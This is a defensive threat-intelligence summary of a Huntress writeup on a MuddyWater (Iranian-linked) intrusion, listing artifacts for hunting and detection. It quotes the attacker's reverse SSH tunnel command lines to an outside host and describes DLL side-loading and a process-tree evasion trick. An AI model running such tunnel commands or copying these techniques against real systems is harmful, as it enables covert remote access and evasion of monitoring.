Unmasking an Attack Chain of MuddyWater

What it is

An incident writeup from Huntress documenting a MuddyWater (Iranian-linked APT) intrusion in an Israeli customer environment, discovered via retroactive hunting against indicators Hunt.io published on March 4, 2026. The incident itself dates to January 24–25, 2026. Beyond the summary, the page supplies the concrete on-disk and command-line artifacts you'd need to hunt or write detections.

Preconditions / Affected

Initial access was an interactive Terminal Services/RDP login — so this matters where RDP is exposed or credentials are compromised. The side-loading abuses a legitimately-signed Fortemedia Inc. binary, FMAPP.exe, which auto-loads FMAPP.dll from its own directory; the malicious payload rides in that DLL.

What to do

Hunt for these specific artifacts, which the summary does not spell out:

• Payload path — the binaries were dropped in a user-writable, non-standard location:

c:\Users\Public\Downloads\FMAPP.exe

FMAPP.exe loading FMAPP.dll from anywhere under \Users\Public\ (rather than a real Fortemedia install path) is the side-load signal.

• Reverse SSH tunnel command lines — note StrictHostKeyChecking=no, -N -R, and the changing remote-forward ports (10841, then 8585):

C:\Windows\System32\OpenSSH\ssh.exe -p 22 -o StrictHostKeyChecking=no <user>@162.0.230[.]185 -2 -4 -N -R 10841
C:\Windows\System32\OpenSSH\ssh.exe -p 22 -o StrictHostKeyChecking=no <user>@162.0.230[.]185 -2 -4 -N -R 8585

162.0.230.185 is also an IOC in the referenced Group-IB MuddyWater report.

• C2 verification behavior — after launching the payload the actor ran tasklist | findstr FMAPP, then ping 157.20.182[.]49 (the C2), then curl ifconfig[.]me, then relaunched FMAPP.exe when C2 didn't come up.

• IOCs: C2 157.20.182.49; tunnel endpoint 162.0.230.185.

Caveats

• The attribution is Huntress aligning their findings with what "others have identified as MuddyWater" (Hunt.io, Group-IB) — a correlation, not independent confirmation.
• The actor's typos (whoami /pric, net localgroup adminstraots, net group admi /do) indicate hands-on-keyboard operation, so exact command strings will vary — detect on the tooling and paths, not literal command text.
• A behavioral tell worth noting: the operator deliberately spawned a fresh PowerShell directly from Explorer to escape the cmd.exe → powershell.exe RDP process tree and look more like a legitimate interactive user — worth building into process-lineage detections.